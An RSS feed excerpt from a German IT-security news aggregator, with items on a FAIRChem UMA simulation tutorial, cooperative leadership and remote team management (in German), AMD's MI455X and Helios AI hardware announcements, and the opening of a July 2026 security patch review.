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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<title><![CDATA[FAIRChem v2 UMA for Multidomain Atomistic Simulation across Molecules, Catalysts, Materials, Vibrations, and Molecular Dynamics]]></title>
<description><![CDATA[In this tutorial, we explore FAIRChem v2 and the UMA universal machine-learning interatomic potential as a unified framework for atomistic simulation across molecular chemistry, catalysis, and inorganic materials. We configure an environment, authenticate with Hugging Face to access the gated UMA...]]></description>
<link>https://tsecurity.de/de/3695386/ai-nachrichten/fairchem-v2-uma-for-multidomain-atomistic-simulation-across-molecules-catalysts-materials-vibrations-and-molecular-dynamics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695386/ai-nachrichten/fairchem-v2-uma-for-multidomain-atomistic-simulation-across-molecules-catalysts-materials-vibrations-and-molecular-dynamics/</guid>
<pubDate>Sun, 26 Jul 2026 10:53:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this tutorial, we explore FAIRChem v2 and the UMA universal machine-learning interatomic potential as a unified framework for atomistic simulation across molecular chemistry, catalysis, and inorganic materials. We configure an environment, authenticate with Hugging Face to access the gated UMA model weights, and initialize task-specific calculators for the omol, oc20, and omat domains. We […]</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/26/fairchem-v2-uma-for-multidomain-atomistic-simulation-across-molecules-catalysts-materials-vibrations-and-molecular-dynamics/">FAIRChem v2 UMA for Multidomain Atomistic Simulation across Molecules, Catalysts, Materials, Vibrations, and Molecular Dynamics</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[Kooperativer Führungsstil: So entfesseln Sie wahre Performance]]></title>
<description><![CDATA[Kooperative Führungskräfte teilen Verantwortung mit ihren Mitarbeitern und beziehen sie in Entscheidungen ein.NDAB Creativity – shutterstock.com



Ein Führungsstil beschreibt die Grundhaltung einer Führungskraft sowie ihr Verhalten gegenüber Mitarbeitern. Es gibt verschiedene Theorien und Modell...]]></description>
<link>https://tsecurity.de/de/3695007/it-security-nachrichten/kooperativer-fuehrungsstil-so-entfesseln-sie-wahre-performance/</link>
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<pubDate>Sun, 26 Jul 2026 06:33:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-23-um-16.29.57.png?w=1024" alt="Führungskräfte" class="wp-image-4200768" width="1024" height="571" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Kooperative Führungskräfte teilen Verantwortung mit ihren Mitarbeitern und beziehen sie in Entscheidungen ein.</figcaption></figure><p class="imageCredit">NDAB Creativity – shutterstock.com</p></div>



<p class="wp-block-paragraph">Ein Führungsstil beschreibt die Grundhaltung einer <a href="https://enablinghybridwork.cio.de/hoechste-sicherheit-fuer-behoerden-und-unternehmen" target="_blank" rel="noreferrer noopener">Führungskraft</a> sowie ihr Verhalten gegenüber Mitarbeitern. Es gibt verschiedene Theorien und Modelle mit unterschiedlichen <a href="https://cio.de/article/3687651/wie-ein-moderner-fuehrungsstil-aussieht.html" target="_blank">Führungsstilen</a>.</p>



<h2 class="wp-block-heading">Welche Führungsstile gibt es?</h2>



<p class="wp-block-paragraph">Eine bekannte Einteilung hat der Sozialpsychologe Kurt Lewin vorgenommen. Lewin emigrierte 1933 aus Deutschland und forschte in den USA. In dieser Zeit entstand die Unterscheidung und Abstufung zwischen den Führungsstilen autoritär, laissez-faire und kooperativ:</p>



<ul class="wp-block-list">
<li>Beim <strong>autoritären Führungsstil</strong> gibt die Führungsperson ihren Mitarbeitern Anweisungen, was zu tun ist. <a href="https://enablinghybridwork.cio.de/hoechste-sicherheit-fuer-behoerden-und-unternehmen" target="_blank" rel="noreferrer noopener">Mitarbeiter</a> haben diese Anweisungen zu akzeptieren und auszuführen.</li>



<li>Beim <strong>Laissez-faire-Führungsstil</strong> überträgt die <a href="https://enablinghybridwork.cio.de/hoechste-sicherheit-fuer-behoerden-und-unternehmen" target="_blank" rel="noreferrer noopener">Führungskraft</a> Aufgaben auf die Mitarbeiter. Vorgesetzte machen klare Zielvorgaben, definieren die erwarteten Arbeitsergebnisse und delegieren die Aufgaben an die Mitarbeiter.</li>



<li>Dazwischen liegt der <strong>kooperative Führungsstil</strong>, bei dem Führungskraft und <a href="https://enablinghybridwork.cio.de/hoechste-sicherheit-fuer-behoerden-und-unternehmen" target="_blank" rel="noreferrer noopener">Mitarbeiter</a> Verantwortung teilen beziehungsweise gemeinsam übernehmen. Eines der Forschungsergebnisse Lewins war, dass ein kooperativer Führungsstil mit einer erhöhten Arbeitszufriedenheit der Mitarbeiter verbunden ist.</li>
</ul>



<h2 class="wp-block-heading">Merkmale eines kooperativen Führungsstils</h2>



<p class="wp-block-paragraph">Kooperative Führungskräfte teilen Verantwortung mit ihren Mitarbeitern und beziehen sie in Entscheidungen ein. Für Prof. Dr. Guido Möllering, Direktor des Reinhard-Mohn-Instituts für Unternehmensführung an der Universität Witten/Herdecke, zählt zu den Merkmalen einer kooperativen <a href="https://enablinghybridwork.cio.de/hoechste-sicherheit-fuer-behoerden-und-unternehmen" target="_blank" rel="noreferrer noopener">Führungskraft</a> auch, dass mehr Autonomie gewährt wird bei zugleich gegenseitiger Transparenz und Koordination: “Die formale Führungskraft kommuniziert auf Augenhöhe, das heißt mit Respekt und Anerkennung der Fähigkeiten und Bedürfnisse der Geführten. Es gibt kaum noch Anweisungen, sondern man einigt sich, was zu tun ist”, so Möllering. Man verständige sich häufiger über die gemeinsamen Werte und Ziele. Führungskräfte sähen sich selbst als Vermittelnde.</p>



<p class="wp-block-paragraph">Für den Transformationsexperten und <a href="https://enablinghybridwork.cio.de/hoechste-sicherheit-fuer-behoerden-und-unternehmen" target="_blank" rel="noreferrer noopener">Berater</a> Martin Michaelis ist es nicht nur eine Frage von Branchen, Unternehmenskultur oder Generationen, ob kooperatives Führen sinnvoll ist. “In der heutigen Zeit ständiger und schneller Veränderung haben Unternehmen gar keine andere Wahl, als Ihren Mitarbeitern in einem bestimmten Maße mehr Verantwortung zu übergeben. Das bedeutet für Führungskräfte, dass sie ihre Mitarbeiter mehr in Entscheidungsprozesse einbinden müssen.” Schwierig werde es dann, wenn unter den Mitarbeitern nur eine niedrige Bereitschaft bestehe, Verantwortung zu übernehmen. “Wichtig ist dann, Schritt für Schritt vorzugehen: je nach individueller Kapazität und nicht zu viel auf einmal an Verantwortungen zu delegieren”, rät Michaelis.</p>



<h2 class="wp-block-heading">Vor- und Nachteile eines kooperativen Führungsstils</h2>



<p class="wp-block-paragraph">“Die stärkere Partizipation und das Empowerment, das kooperative Führung ermöglicht, sind sehr motivierend, können aber auch überfordern”, weiß Experte Möllering. Wenn Verantwortung stärker geteilt werde, werfe das Fragen auf: Wer trägt das Risiko von gemeinsamen Entscheidungen? Und: Wer bekommt welchen Anteil am gemeinsamen Erfolg? “Wenn ein gemeinsames Verständnis hergestellt werden kann, wie die kooperative Führung wirklich gemeint ist, dann überwiegen klar die Vorteile”, ist Möllering überzeugt. Wichtig sei auch, dass eine echte Beteiligung an der Führung möglich ist. Also nicht am Ende doch wieder einer alles alleine entscheide.</p>



<h2 class="wp-block-heading">Kooperatives Führen lernen</h2>



<p class="wp-block-paragraph">Doch lässt sich ein solcher kooperativer Führungsstil erlernen? “Es gibt eine Menge Kompetenzen, die erlernt werden können”, sagt Martin Michaelis auf die Frage, ob sich kooperatives Führen erlernen lässt. Dabei unterscheidet er zwischen Methoden und Verhalten, sowie Haltung. Neue Methoden und Verhaltensweisen lassen sich erlernen. Dazu zählt beispielsweise, sich selbst als Führungskraft zurückzunehmen, Mitarbeitern mehr Raum zu geben und ihnen mehr Fragen zu stellen.</p>



<p class="wp-block-paragraph">“Eine kooperative Haltung braucht meist etwas mehr Zeit”, so Michaelis. Je nach Person ständen oft alte Einstellungen und Glaubenssätze im Weg. Eine wichtige Erkenntnis lautet: Wer kooperativ führen möchte, muss Schritt für Schritt lernen, Vertrauen zu haben. “Eine ‘Dann mache ich das jetzt lieber selbst’-Haltung ergibt keinen Sinn”, sagt Michaelis. In einer konkreten Situation ist eine Aufgabe damit vielleicht schneller und auch besser erledigt. Aber damit nehme man seinen Mitarbeitern den Raum, zu lernen und sich weiterzuentwickeln. Und damit auch die Möglichkeit, zumindest mittelfristig mehr Verantwortung zu übernehmen.</p>



<h2 class="wp-block-heading">Kooperativ führen</h2>



<p class="wp-block-paragraph">Die Bertelsmann Stiftung und das Reinhard-Mohn-Institut der Universität Witten/Herdecke haben für ihren <a href="https://www.bertelsmann-stiftung.de/de/publikationen/publikation/did/fuehrungskraefte-radar-2020-corona-spezial-all#0" target="_blank" rel="noreferrer noopener">Führungskräfte-Radar</a> eine repräsentative Befragung unter Führungskräften in Deutschland vorgenommen. Eine Beobachtung: Wenn Home-Office zur Dauereinrichtung wird, befürchten Führungskräfte, dass der Austausch mit den Mitarbeitern mehr und mehr verloren geht und die Unternehmenskultur leidet. Viele Führungskräfte konnten ihre Mitarbeiter in Home-Office-Corona-Zeiten nicht so unterstützen, wie sie es gerne getan hätten (45,7 Prozent). Guido Möllering vom Reinhard-Mohn-Institut sagt: “Die Ausnahmesituation hat uns verschiedene Aspekte deutlicher sehen lassen als sonst”. Er nennt die folgenden drei Punkte:</p>



<ul class="wp-block-list">
<li>Führung funktioniert nur, wenn die Geführten mitspielen, also kooperativ die Impulse der Führenden aufnehmen oder konstruktiv der Führungskraft Feedback geben.</li>



<li>Das Management kann gerade in einer Krise nicht alle Probleme alleine lösen und alle Entscheidungen alleine treffen. Notgedrungen wird mehr delegiert, pragmatisch gehandelt und sich aufeinander verlassen. Man ist im Team beim gemeinsamen, kooperativen Problemlösen mehr auf Augenhöhe.</li>



<li>Gerade beim Führen auf Distanz (insbesondere wegen Homeoffice) merkt man deutlich, dass Führen nicht primär Kontrolle, sondern Unterstützung der Geführten bedeutet. Der Team-Gedanke verstärkt sich und die Verantwortung für das gemeinsame Ergebnis wird stärker geteilt.</li>
</ul>



<h2 class="wp-block-heading">Kooperative Führungskräfte brauchen Vertrauen</h2>



<p class="wp-block-paragraph">Übergreifend werde deutlich, wie wichtig eine solide Vertrauensbasis sei, so Möllering: “Diese baut man nicht durch hierarchische Anweisungen, sondern durch kollegiale Zusammenarbeit auf.” Im Gegensatz zu dem oft in Krisen vermuteten autoritären Führungsstil hat sich in der zurückliegenden Corona-Pandemie nicht die lenkende Führungskraft früherer Zeiten, sondern die vermittelnde Führungskraft bewährt.</p>



<h3 class="wp-block-heading">Wie Führungskräfte Teams im Homeoffice leiten</h3>



<p class="wp-block-paragraph">Seit der Pandemie gehört virtuelle Mitarbeiterführung zu den Standartaufgaben für jeden Vorgesetzten. Wir haben die wichtigsten Learnings aus dieser Zeit zusammengefasst.</p>



<p class="wp-block-paragraph">Zu den größten Herausforderungen zählen die unterschiedlichen Voraussetzungen, womit Teammitglieder bei der Heimarbeit konfrontiert sind. Nicht jeder hat ausreichenden Raum für ein separates Home-Office. Dazu kommen Ablenkungen wie Kinder, Haustiere oder bei Singles ein Gefühl der Isolation. All das hat Einfluss darauf, wie und zu welchen Zeiten Mitarbeiter ihre Aufgaben am besten erledigen können. Vorgesetzte, die offen Verständnis für individuelle Situationen zeigen, schaffen die Grundlage einer vertrauensvollen Zusammenarbeit.</p>



<p class="wp-block-paragraph">Permanenter Stress im Home-Office ist keine gute Voraussetzung, um kontinuierlich gute Arbeit zu leisten. Wer als Führungskraft vermittelt, dass es okay ist, nicht immer perfekt zu funktionieren, nimmt Mitarbeitern etwas den Druck in der Gewöhnung an die neue Normalität. Vielen fällt es mit dieser Gewissheit leichter, Deadlines einzuhalten und den Erwartungen zu entsprechen.</p>



<p class="wp-block-paragraph">Ein tägliches Gespräch mit Chefin oder Chef – ist das nicht zu viel der Kommunikation? Nein, denn insbesondere bei der digitalen Mitarbeiterführung ist die Regelmäßigkeit des Austauschs entscheidend. Nur so lässt sich einschätzen, ob alles wie besprochen läuft und sich alle im Team den Anforderungen gewachsen fühlen. Missverständnisse und Fehler passieren – ähnlich wie im Büro – vor allem, wenn zu wenig kommuniziert wird.</p>



<p class="wp-block-paragraph">Nur mit Personen, zu denen man regelmäßigen Kontakt pflegt, können Beziehungen entstehen. Das funktioniert im Zeitalter des digitalen Austauschs über zahlreiche Kommunikationskanäle. Moderne Videokonferenz-Tools wie Zoom, Teams, Google Meet etc. ermöglichen eine Kommunikation von Angesicht zu Angesicht und machen sichtbar, wie es allen Teammitgliedern geht.</p>



<p class="wp-block-paragraph">Dezentral organisierte Teamarbeit funktioniert am effektivsten, wenn sich alle über die Grundregeln der Kommunikation einig sind. Vorgesetzte können für klare Verhältnisse sorgen, indem sie Häufigkeit, Zweck und Timing des Austauschs und die dafür priorisierten Kanäle festlegen. Videokonferenzen sind in der Regel die erste Wahl für die tägliche Gruppenbesprechung. Gerade größere Gesprächsrunden lassen sich durch simple Tricks so strukturieren, dass auch Meetings mit hoher Teilnehmerzahl geordnet und effektiv ablaufen. Wenn es um dringliche Angelegenheiten oder Nachfragen geht, sind andere Kanäle wie Instant Messaging der bessere Weg. Unified-Communications-Plattformen ermöglichen eine Vielzahl von Anwendungen und Kommunikationskanälen.</p>



<p class="wp-block-paragraph">Oft werden beim Übergang von der klassischen Büroarbeit ins Home-Office Aufgaben innerhalb eines Teams neu verteilt oder kommen neue hinzu. Damit Mitarbeiter diese erfüllen können, muss klar sein, was genau von ihnen erwartet wird. Manchen mag es außerhalb der gewohnten Büroatmosphäre anfangs schwerfallen, Aufträge zu priorisieren. Gemeinsam kann geklärt werden, welche Aufgaben Priorität haben und zu schaffen ist. Einfach davon auszugehen, dass jeder weiß, was zu tun ist, ist kontraproduktiv. Besser ist, von Anfang an eine Feedback-Schleife zu vereinbaren, um Erwartungen anzupassen und in den bekannten Applikationen zu dokumentieren.</p>



<p class="wp-block-paragraph">Teams funktionieren vor allem dann, wenn alle Mitglieder eine gemeinsame Mission verfolgen. Das dabei entstehende Gemeinschaftsgefühl hilft auch, Unsicherheiten zu überwinden und mit ungewohnten Arbeitssituationen umzugehen. Wenn jeder weiß, was er zum gemeinsamen Erfolg beiträgt, ist das die beste Motivation, Höchstleistungen zu erbringen. Erfolge sollten außerdem gewürdigt werden.</p>



<p class="wp-block-paragraph">Wie lassen sich Engagement und Selbstverantwortung fördern? Indem Führungskräfte sich auf die gewünschten Ergebnisse konzentrieren und Teammitgliedern den Freiraum lassen, selbst einzuteilen, wie sie zum Ziel kommen wollen. Voraussetzung dafür ist ausreichend Zeit und zuvor aufgebautes Vertrauen. Ist das der Fall, lässt sich auf diesem Weg nicht nur die Kreativität der Mitarbeiter fördern, sondern auch kräftezehrendes Mikromanagement vermeiden. Virtuelle Brainstorms lassen sich beispielsweise in Breakout-Räume aufteilen. Kleinere Teams können dadurch in separaten Sitzungen arbeiten und ihre Ideen sammeln, die anschließend in der größeren Runde präsentiert werden.</p>



<p class="wp-block-paragraph">Regelmäßige Kommunikation und klare Zielvorgaben sind wichtig. Sie dürfen aber nicht dazu führen, dass Mitarbeiter das Gefühl bekommen, im Home-Office überwacht zu werden. Vorgesetzte, die mehrmals täglich penible Rückmeldungen zu erledigten Arbeitsschritten einfordern, signalisieren damit fehlendes Vertrauen. Sie riskieren zudem, dass Teams den Fokus verlieren. Beratung und Betreuung sind besser als strikte Kontrolle.</p>



<p class="wp-block-paragraph">Als neues Mitglied in ein dezentral arbeitendes Team zu kommen, kann zur Herausforderung werden, weil sich die Dynamik einer Gruppe anfangs schwerer erspüren lässt. Umso wichtiger ist es, Neulingen zu Beginn ihrer Tätigkeit das Gefühl zu geben, Teil der Gruppe zu sein. Unternehmen, die bereits über längere Erfahrung in dezentralem Arbeiten verfügen, haben dies zum festen Bestandteil ihres Onboardings gemacht.</p>



<p class="wp-block-paragraph">Selbst in gut funktionierenden Arbeitsumfeldern kann es gelegentlich zu Unsicherheiten, Unzufriedenheit oder Ängsten der Mitarbeiter kommen. Die Aufgabe von Führungskräften besteht darin, Teams davor zu schützen. Das gelingt am besten, wenn auch die sozialen Aspekte der gemeinsamen Arbeit berücksichtigt werden. Dafür braucht es keine verpflichtenden gemeinsamen Kaffeepausen, aber von Zeit zu Zeit die Gelegenheit für einen lockeren Austausch, der Mitarbeitern das Gefühl gibt, trotz der Distanz wahrgenommen zu werden. Virtuell lässt sich der Teamgeist auch fördern, wenn zur Abwechslung mal eine Happy Hour, ein virtuelles Quizzen oder ein gemeinsames Essen per Videochat organisiert wird.<br><br><br></p>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






